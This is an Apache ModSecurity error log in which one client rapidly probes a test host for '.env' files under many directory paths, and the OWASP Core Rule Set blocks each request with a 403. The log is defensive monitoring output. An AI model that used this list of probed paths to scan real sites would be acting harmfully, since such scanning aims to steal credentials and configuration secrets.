[Mon Jan 12 12:31:53.848152 2026] [:error] [pid 1355926] [client 35.180.31.174:34158] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "aWTbqcC2y5bYy1r2HoPzHAAAAAM"]
[Mon Jan 12 12:31:53.848340 2026] [:error] [pid 1355926] [client 35.180.31.174:34158] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "aWTbqcC2y5bYy1r2HoPzHAAAAAM"]
[Mon Jan 12 12:31:53.848485 2026] [:error] [pid 1355926] [client 35.180.31.174:34158] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/frontend/.env"] [unique_id "aWTbqcC2y5bYy1r2HoPzHAAAAAM"]
[Mon Jan 12 12:31:53.928439 2026] [:error] [pid 1362233] [client 35.180.31.174:34194] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aWTbqX2DuVtAKraH1YONeQAAAAk"]
[Mon Jan 12 12:31:53.928636 2026] [:error] [pid 1362233] [client 35.180.31.174:34194] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aWTbqX2DuVtAKraH1YONeQAAAAk"]
[Mon Jan 12 12:31:53.928785 2026] [:error] [pid 1362233] [client 35.180.31.174:34194] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aWTbqX2DuVtAKraH1YONeQAAAAk"]
[Mon Jan 12 12:31:54.006808 2026] [:error] [pid 1365295] [client 35.180.31.174:34224] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aWTbqg7npFhQv7HWuOadcQAAAAo"]
[Mon Jan 12 12:31:54.007001 2026] [:error] [pid 1365295] [client 35.180.31.174:34224] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aWTbqg7npFhQv7HWuOadcQAAAAo"]
[Mon Jan 12 12:31:54.007176 2026] [:error] [pid 1365295] [client 35.180.31.174:34224] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aWTbqg7npFhQv7HWuOadcQAAAAo"]
[Mon Jan 12 12:31:54.086469 2026] [:error] [pid 1355925] [client 35.180.31.174:34250] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aWTbqk7thAymmecRvtl0QQAAAAI"]
[Mon Jan 12 12:31:54.086673 2026] [:error] [pid 1355925] [client 35.180.31.174:34250] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aWTbqk7thAymmecRvtl0QQAAAAI"]
[Mon Jan 12 12:31:54.086855 2026] [:error] [pid 1355925] [client 35.180.31.174:34250] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "aWTbqk7thAymmecRvtl0QQAAAAI"]
[Mon Jan 12 12:31:54.166000 2026] [:error] [pid 1355924] [client 35.180.31.174:34278] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aWTbqtIpinFXoPzDav5wZwAAAAE"]
[Mon Jan 12 12:31:54.166172 2026] [:error] [pid 1355924] [client 35.180.31.174:34278] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aWTbqtIpinFXoPzDav5wZwAAAAE"]
[Mon Jan 12 12:31:54.166311 2026] [:error] [pid 1355924] [client 35.180.31.174:34278] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v1/.env"] [unique_id "aWTbqtIpinFXoPzDav5wZwAAAAE"]
[Mon Jan 12 12:31:54.244283 2026] [:error] [pid 1365300] [client 35.180.31.174:34308] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tools/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aWTbqtlKlmIJBGbQbR78WAAAAAs"]
[Mon Jan 12 12:31:54.244457 2026] [:error] [pid 1365300] [client 35.180.31.174:34308] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aWTbqtlKlmIJBGbQbR78WAAAAAs"]
[Mon Jan 12 12:31:54.244624 2026] [:error] [pid 1365300] [client 35.180.31.174:34308] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tools/.env"] [unique_id "aWTbqtlKlmIJBGbQbR78WAAAAAs"]
[Mon Jan 12 12:31:54.325501 2026] [:error] [pid 1358564] [client 35.180.31.174:34342] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /en/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aWTbqh_UgGRJ4jDk47tQbQAAAAY"]
[Mon Jan 12 12:31:54.325666 2026] [:error] [pid 1358564] [client 35.180.31.174:34342] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aWTbqh_UgGRJ4jDk47tQbQAAAAY"]
[Mon Jan 12 12:31:54.325822 2026] [:error] [pid 1358564] [client 35.180.31.174:34342] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/en/.env"] [unique_id "aWTbqh_UgGRJ4jDk47tQbQAAAAY"]
[Mon Jan 12 12:31:54.407455 2026] [:error] [pid 1362231] [client 35.180.31.174:34376] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aWTbqsuCkgRo958sQERiGAAAAAc"]
[Mon Jan 12 12:31:54.407636 2026] [:error] [pid 1362231] [client 35.180.31.174:34376] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aWTbqsuCkgRo958sQERiGAAAAAc"]
[Mon Jan 12 12:31:54.407805 2026] [:error] [pid 1362231] [client 35.180.31.174:34376] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aWTbqsuCkgRo958sQERiGAAAAAc"]
[Mon Jan 12 12:31:54.486057 2026] [:error] [pid 1356126] [client 35.180.31.174:34414] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aWTbqjv8xyMiuvwfNnlj0gAAAAU"]
[Mon Jan 12 12:31:54.486226 2026] [:error] [pid 1356126] [client 35.180.31.174:34414] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aWTbqjv8xyMiuvwfNnlj0gAAAAU"]
[Mon Jan 12 12:31:54.486389 2026] [:error] [pid 1356126] [client 35.180.31.174:34414] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cronlab/.env"] [unique_id "aWTbqjv8xyMiuvwfNnlj0gAAAAU"]
[Mon Jan 12 12:31:54.564978 2026] [:error] [pid 1355923] [client 35.180.31.174:34450] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aWTbqiE1xEBhFyXickXrhgAAAAA"]
[Mon Jan 12 12:31:54.565159 2026] [:error] [pid 1355923] [client 35.180.31.174:34450] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aWTbqiE1xEBhFyXickXrhgAAAAA"]
[Mon Jan 12 12:31:54.565307 2026] [:error] [pid 1355923] [client 35.180.31.174:34450] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps/.env"] [unique_id "aWTbqiE1xEBhFyXickXrhgAAAAA"]
[Mon Jan 12 12:31:54.644199 2026] [:error] [pid 1355926] [client 35.180.31.174:34474] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aWTbqsC2y5bYy1r2HoPzHQAAAAM"]
[Mon Jan 12 12:31:54.644377 2026] [:error] [pid 1355926] [client 35.180.31.174:34474] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aWTbqsC2y5bYy1r2HoPzHQAAAAM"]
[Mon Jan 12 12:31:54.644540 2026] [:error] [pid 1355926] [client 35.180.31.174:34474] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/app/.env"] [unique_id "aWTbqsC2y5bYy1r2HoPzHQAAAAM"]
[Mon Jan 12 12:31:54.721871 2026] [:error] [pid 1362233] [client 35.180.31.174:34508] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kubernetes/.env"] [unique_id "aWTbqn2DuVtAKraH1YONegAAAAk"]
[Mon Jan 12 12:31:54.722054 2026] [:error] [pid 1362233] [client 35.180.31.174:34508] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kubernetes/.env"] [unique_id "aWTbqn2DuVtAKraH1YONegAAAAk"]
[Mon Jan 12 12:31:54.722216 2026] [:error] [pid 1362233] [client 35.180.31.174:34508] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kubernetes/.env"] [unique_id "aWTbqn2DuVtAKraH1YONegAAAAk"]
[Mon Jan 12 12:31:54.801617 2026] [:error] [pid 1365295] [client 35.180.31.174:34532] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "aWTbqg7npFhQv7HWuOadcgAAAAo"]
[Mon Jan 12 12:31:54.801783 2026] [:error] [pid 1365295] [client 35.180.31.174:34532] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "aWTbqg7npFhQv7HWuOadcgAAAAo"]
[Mon Jan 12 12:31:54.801936 2026] [:error] [pid 1365295] [client 35.180.31.174:34532] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/client/.env"] [unique_id "aWTbqg7npFhQv7HWuOadcgAAAAo"]
[Mon Jan 12 12:31:54.880673 2026] [:error] [pid 1355925] [client 35.180.31.174:34570] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aWTbqk7thAymmecRvtl0QgAAAAI"]
